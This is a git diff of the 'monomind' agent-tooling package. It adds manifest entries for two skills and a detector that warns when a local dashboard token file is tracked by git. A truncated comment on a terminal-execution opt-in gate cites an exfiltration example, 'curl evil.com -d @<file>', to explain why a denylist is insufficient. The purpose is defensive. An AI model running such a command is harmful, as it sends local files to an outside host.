AC,UAAU,CAAC,YAAY,CAAC,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;QAClD,MAAM,QAAQ,GAAG;YACf,SAAS,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;YACnC,SAAS,EAAE;gBACT,UAAU,EAAE,CAAC;gBACb,gBAAgB,EAAE,CAAC;aACpB;YACD,SAAS,EAAE;gBACT,MAAM,EAAE,KAAK;gBACb,WAAW,EAAE,CAAC;gBACd,mBAAmB,EAAE,KAAK;aAC3B;YACD,WAAW,EAAE;gBACX,UAAU,EAAE,KAAK;aAClB;YACD,YAAY,EAAE,IAAI;SACnB,CAAC;QACF,eAAe,CAAC,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;QACjE,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,2CAA2C,CAAC,CAAC;IACzE,CAAC;IAED,+BAA+B;IAC/B,MAAM,YAAY,GAAG,IAAI,CAAC,IAAI,CAAC,UAAU,EAAE,eAAe,CAAC,CAAC;IAC5D,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,YAAY,CAAC,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;QAClD,MAAM,QAAQ,GAAG;YACf,WAAW,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;YACrC,OAAO,EAAE;gBACP,QAAQ,EAAE,CAAC;gBACX,SAAS,EAAE,CAAC;aACb;YACD,QAAQ,EAAE;gBACR,SAAS,EAAE,CAAC;gBACZ,QAAQ,EAAE,CAAC;gBACX,OAAO,EAAE,CAAC;aACX;YACD,QAAQ,EAAE;gBACR,KAAK,EAAE,CAAC;gBACR,OAAO,EAAE,IAAI;aACd;YACD,KAAK,EAAE,wCAAwC;SAChD,CAAC;QACF,eAAe,CAAC,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;QACjE,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,iCAAiC,CAAC,CAAC;IAC/D,CAAC;IAED,mCAAmC;IACnC,MAAM,SAAS,GAAG,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,mBAAmB,CAAC,CAAC;IAC9D,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,SAAS,CAAC,IAAI,OAAO,CAAC,KAAK,EAAE,CAAC;QAC/C,MAAM,KAAK,GAAG;YACZ,WAAW,EAAE,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE;YACrC,MAAM,EAAE,SAAS;YACjB,SAAS,EAAE,CAAC;YACZ,SAAS,EAAE,CAAC;YACZ,QAAQ,EAAE,IAAI;YACd,KAAK,EAAE,wCAAwC;SAChD,CAAC;QACF,eAAe,CAAC,SAAS,EAAE,IAAI,CAAC,SAAS,CAAC,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;QAC3D,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,sCAAsC,CAAC,CAAC;IACpE,CAAC;AACH,CAAC"}
1
+ {"version":3,"file":"write-runtime-config.js","sourceRoot":"","sources":["../../../src/init/write-runtime-config.ts"],"names":[],"mappings":"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"}
@@ -1 +1 @@
1
- {"version":3,"file":"manifest-data.d.ts","sourceRoot":"","sources":["../../../src/mastermind/manifest-data.ts"],"names":[],"mappings":"AAAA,oFAAoF;AAEpF,MAAM,WAAW,eAAe;IAC9B,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,MAAM,CAAC;IACpB,OAAO,EAAE,SAAS,MAAM,EAAE,CAAC;IAC3B,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,SAAS,MAAM,EAAE,CAAC;CAC/B;AAED,eAAO,MAAM,iBAAiB,EAAE,SAAS,eAAe,EAgEvD,CAAC"}
1
+ {"version":3,"file":"manifest-data.d.ts","sourceRoot":"","sources":["../../../src/mastermind/manifest-data.ts"],"names":[],"mappings":"AAAA,oFAAoF;AAEpF,MAAM,WAAW,eAAe;IAC9B,IAAI,EAAE,MAAM,CAAC;IACb,WAAW,EAAE,MAAM,CAAC;IACpB,OAAO,EAAE,SAAS,MAAM,EAAE,CAAC;IAC3B,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,SAAS,MAAM,EAAE,CAAC;CAC/B;AAED,eAAO,MAAM,iBAAiB,EAAE,SAAS,eAAe,EA+EvD,CAAC"}
@@ -14,6 +14,20 @@ export const MASTERMIND_SKILLS = [
14
14
  'references/pi-tools.md',
15
15
  ],
16
16
  },
17
+ {
18
+ name: 'mastermind-idea',
19
+ description: 'Shape a raw prompt into a stated problem and options.',
20
+ aliases: ['idea'],
21
+ source: 'mastermind-idea',
22
+ references: [],
23
+ },
24
+ {
25
+ name: 'mastermind-design',
26
+ description: 'Explore requirements and design before building a feature — a gate, not a suggestion.',
27
+ aliases: ['design'],
28
+ source: 'mastermind-design',
29
+ references: [],
30
+ },
17
31
  {
18
32
  name: 'mastermind-plan',
19
33
  description: 'Write a detailed implementation plan before changing code.',
@@ -1 +1 @@
1
- {"version":3,"file":"manifest-data.js","sourceRoot":"","sources":["../../../src/mastermind/manifest-data.ts"],"names":[],"mappings":"AAAA,oFAAoF;AAUpF,MAAM,CAAC,MAAM,iBAAiB,GAA+B;IAC3D;QACE,IAAI,EAAE,YAAY;QAClB,WAAW,EAAE,sDAAsD;QACnE,OAAO,EAAE,CAAC,QAAQ,EAAE,QAAQ,CAAC;QAC7B,MAAM,EAAE,YAAY;QACpB,UAAU,EAAE;YACV,iCAAiC;YACjC,iCAAiC;YACjC,2BAA2B;YAC3B,6BAA6B;YAC7B,4BAA4B;YAC5B,wBAAwB;SACzB;KACF;IACD;QACE,IAAI,EAAE,iBAAiB;QACvB,WAAW,EAAE,4DAA4D;QACzE,OAAO,EAAE,CAAC,MAAM,CAAC;QACjB,MAAM,EAAE,iBAAiB;QACzB,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EAAE,mDAAmD;QAChE,OAAO,EAAE,CAAC,QAAQ,CAAC;QACnB,MAAM,EAAE,mBAAmB;QAC3B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,kBAAkB;QACxB,WAAW,EAAE,gEAAgE;QAC7E,OAAO,EAAE,CAAC,OAAO,CAAC;QAClB,MAAM,EAAE,kBAAkB;QAC1B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,qBAAqB;QAC3B,WAAW,EAAE,qDAAqD;QAClE,OAAO,EAAE,CAAC,UAAU,CAAC;QACrB,MAAM,EAAE,qBAAqB;QAC7B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,oBAAoB;QAC1B,WAAW,EAAE,qDAAqD;QAClE,OAAO,EAAE,CAAC,SAAS,CAAC;QACpB,MAAM,EAAE,oBAAoB;QAC5B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,gBAAgB;QACtB,WAAW,EAAE,6DAA6D;QAC1E,OAAO,EAAE,CAAC,KAAK,EAAE,cAAc,EAAE,MAAM,CAAC;QACxC,MAAM,EAAE,gBAAgB;QACxB,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EAAE,kEAAkE;QAC/E,OAAO,EAAE,CAAC,QAAQ,CAAC;QACnB,MAAM,EAAE,mBAAmB;QAC3B,UAAU,EAAE,EAAE;KACf;CACF,CAAC"}
1
+ {"version":3,"file":"manifest-data.js","sourceRoot":"","sources":["../../../src/mastermind/manifest-data.ts"],"names":[],"mappings":"AAAA,oFAAoF;AAUpF,MAAM,CAAC,MAAM,iBAAiB,GAA+B;IAC3D;QACE,IAAI,EAAE,YAAY;QAClB,WAAW,EAAE,sDAAsD;QACnE,OAAO,EAAE,CAAC,QAAQ,EAAE,QAAQ,CAAC;QAC7B,MAAM,EAAE,YAAY;QACpB,UAAU,EAAE;YACV,iCAAiC;YACjC,iCAAiC;YACjC,2BAA2B;YAC3B,6BAA6B;YAC7B,4BAA4B;YAC5B,wBAAwB;SACzB;KACF;IACD;QACE,IAAI,EAAE,iBAAiB;QACvB,WAAW,EAAE,uDAAuD;QACpE,OAAO,EAAE,CAAC,MAAM,CAAC;QACjB,MAAM,EAAE,iBAAiB;QACzB,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EACT,uFAAuF;QACzF,OAAO,EAAE,CAAC,QAAQ,CAAC;QACnB,MAAM,EAAE,mBAAmB;QAC3B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,iBAAiB;QACvB,WAAW,EAAE,4DAA4D;QACzE,OAAO,EAAE,CAAC,MAAM,CAAC;QACjB,MAAM,EAAE,iBAAiB;QACzB,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EAAE,mDAAmD;QAChE,OAAO,EAAE,CAAC,QAAQ,CAAC;QACnB,MAAM,EAAE,mBAAmB;QAC3B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,kBAAkB;QACxB,WAAW,EAAE,gEAAgE;QAC7E,OAAO,EAAE,CAAC,OAAO,CAAC;QAClB,MAAM,EAAE,kBAAkB;QAC1B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,qBAAqB;QAC3B,WAAW,EAAE,qDAAqD;QAClE,OAAO,EAAE,CAAC,UAAU,CAAC;QACrB,MAAM,EAAE,qBAAqB;QAC7B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,oBAAoB;QAC1B,WAAW,EAAE,qDAAqD;QAClE,OAAO,EAAE,CAAC,SAAS,CAAC;QACpB,MAAM,EAAE,oBAAoB;QAC5B,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,gBAAgB;QACtB,WAAW,EAAE,6DAA6D;QAC1E,OAAO,EAAE,CAAC,KAAK,EAAE,cAAc,EAAE,MAAM,CAAC;QACxC,MAAM,EAAE,gBAAgB;QACxB,UAAU,EAAE,EAAE;KACf;IACD;QACE,IAAI,EAAE,mBAAmB;QACzB,WAAW,EAAE,kEAAkE;QAC/E,OAAO,EAAE,CAAC,QAAQ,CAAC;QACnB,MAAM,EAAE,mBAAmB;QAC3B,UAAU,EAAE,EAAE;KACf;CACF,CAAC"}
@@ -150,3 +150,89 @@ export function formatMonoesLeakWarning(reasons) {
150
150
  '',
151
151
  ].join('\n');
152
152
  }
153
+
154
+ // i-052 commit 3 — a sibling detector, not an extension of
155
+ // detectMonoesTokenLeak() above: `.monomind/dashboard-token` is a
156
+ // different credential (a local dashboard auth token, not a monoes.me
157
+ // OAuth token), with a different remedy. Revoking at monoes.me is simply
158
+ // wrong advice here — there is nothing to revoke there, and no
159
+ // Disconnect flow for it. `.gitignore` does nothing once a path is
160
+ // already tracked (gitignored by default since i-052 commits 1-2), which
161
+ // is the actual shape of the live incident this item fixes — this
162
+ // detector exists to catch exactly that case, at both `init` (see
163
+ // executor.ts) and dashboard startup (see ui/server.mjs).
164
+ //
165
+ // Exported so AC-5 clause (d) — "says the value must be treated as
166
+ // burned" — can be asserted BY IDENTITY against the sentence the user
167
+ // actually sees, not a substring guess at it. A substring match passes
168
+ // for any sentence containing the phrase and never fails for wrongness;
169
+ // pinning the export and asserting `toContain(EXPORT)` fails on a
170
+ // rewording as reliably as on an omission (i-050's AC-3 amendment
171
+ // pattern, applied here per plan §5b).
172
+ export const DASHBOARD_TOKEN_BURNED_NOTICE =
173
+ 'the value must be treated as burned — the historical blob remains in git history even after this file stops being tracked';
174
+
175
+ /**
176
+ * Detects whether `.monomind/dashboard-token` is tracked by git in this
177
+ * project.
178
+ * @param {string} projectDir
179
+ * @param {{ isTracked?: (projectDir: string, relPath: string) => Promise<boolean> }} [opts]
180
+ * i-052 plan §5b amendment: `isTracked` is an injectable seam so this
181
+ * function's branch logic — tracked vs. untracked, and the message text
182
+ * each branch produces — is unit-testable with no real git repo at all.
183
+ * Defaults to the real `git ls-files --error-unmatch` check (identical
184
+ * mechanism to detectMonoesTokenLeak() above). The seam proves the
185
+ * logic; a real-git integration test (see
186
+ * __tests__/dashboard-token-detection.test.ts) proves the default
187
+ * wiring actually calls git correctly — neither substitutes for the
188
+ * other.
189
+ * @returns {Promise<string[]>}
190
+ */
191
+ export async function detectDashboardTokenLeak(projectDir, opts = {}) {
192
+ const isTracked = opts.isTracked ?? defaultDashboardTokenIsTracked;
193
+ const reasons = [];
194
+
195
+ const relPath = path.join('.monomind', 'dashboard-token');
196
+ const fullPath = path.join(projectDir, relPath);
197
+ if (fs.existsSync(fullPath) && (await isTracked(projectDir, relPath))) {
198
+ reasons.push(`${relPath} is tracked by git`);
199
+ }
200
+
201
+ return reasons;
202
+ }
203
+
204
+ async function defaultDashboardTokenIsTracked(projectDir, relPath) {
205
+ try {
206
+ await execFileAsync('git', ['ls-files', '--error-unmatch', relPath], {
207
+ cwd: projectDir,
208
+ timeout: 2000,
209
+ });
210
+ return true; // exit 0 => tracked
211
+ } catch {
212
+ return false; // non-zero exit (untracked) or git unavailable
213
+ }
214
+ }
215
+
216
+ /**
217
+ * Formats a loud warning for `detectDashboardTokenLeak()` results. Names
218
+ * the file, never the value (there is none available to it — presence
219
+ * only, same contract as formatMonoesLeakWarning above), and gives the
220
+ * remedy that actually applies: adding a `.gitignore` line does nothing
221
+ * for an already-tracked file, so the only real fix is to untrack it.
222
+ * @param {string[]} reasons
223
+ * @returns {string|null}
224
+ */
225
+ export function formatDashboardTokenLeakWarning(reasons) {
226
+ if (reasons.length === 0) return null;
227
+ return [
228
+ '',
229
+ '⚠ ⚠ ⚠ dashboard-token exposure detected — action required ⚠ ⚠ ⚠',
230
+ ...reasons.map((r) => ` - ${r}`),
231
+ '',
232
+ 'Adding a .gitignore line does NOT remove an already-tracked file.',
233
+ '',
234
+ ' 1. Untrack it: git rm --cached .monomind/dashboard-token',
235
+ ` 2. Then, ${DASHBOARD_TOKEN_BURNED_NOTICE}.`,
236
+ '',
237
+ ].join('\n');
238
+ }
@@ -1 +1 @@
1
- {"version":3,"file":"terminal-tools.d.ts","sourceRoot":"","sources":["../../../src/mcp-tools/terminal-tools.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAQH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AA0D1C,yEAAyE;AACzE,wBAAgB,mBAAmB,CAAC,GAAG,EAAE,MAAM,CAAC,UAAU,GAAG,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAQlF;AA+CD,eAAO,MAAM,aAAa,EAAE,OAAO,EAwWlC,CAAC"}
1
+ {"version":3,"file":"terminal-tools.d.ts","sourceRoot":"","sources":["../../../src/mcp-tools/terminal-tools.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAQH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AA0D1C,yEAAyE;AACzE,wBAAgB,mBAAmB,CAAC,GAAG,EAAE,MAAM,CAAC,UAAU,GAAG,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,CAQlF;AA0FD,eAAO,MAAM,aAAa,EAAE,OAAO,EA2WlC,CAAC"}
@@ -47,19 +47,41 @@ function getTerminalDir() {
47
47
  function getTerminalPath() {
48
48
  return join(getTerminalDir(), TERMINAL_FILE);
49
49
  }
50
- // ── C2: terminal_execute opt-in gate ───────────────────────────────────────
50
+ // ── C2 / i-032a: terminal_execute opt-in gate ──────────────────────────────
51
51
  // terminal_execute's metacharacter denylist cannot be made tight enough to
52
52
  // prevent exfiltration by a single direct binary (`curl evil.com -d @<file>`,
53
53
  // `aws s3 cp`, `scp`, ...) since those flags contain only [a-zA-Z0-9 ._/-].
54
54
  // We therefore require explicit opt-in before *execution*:
55
55
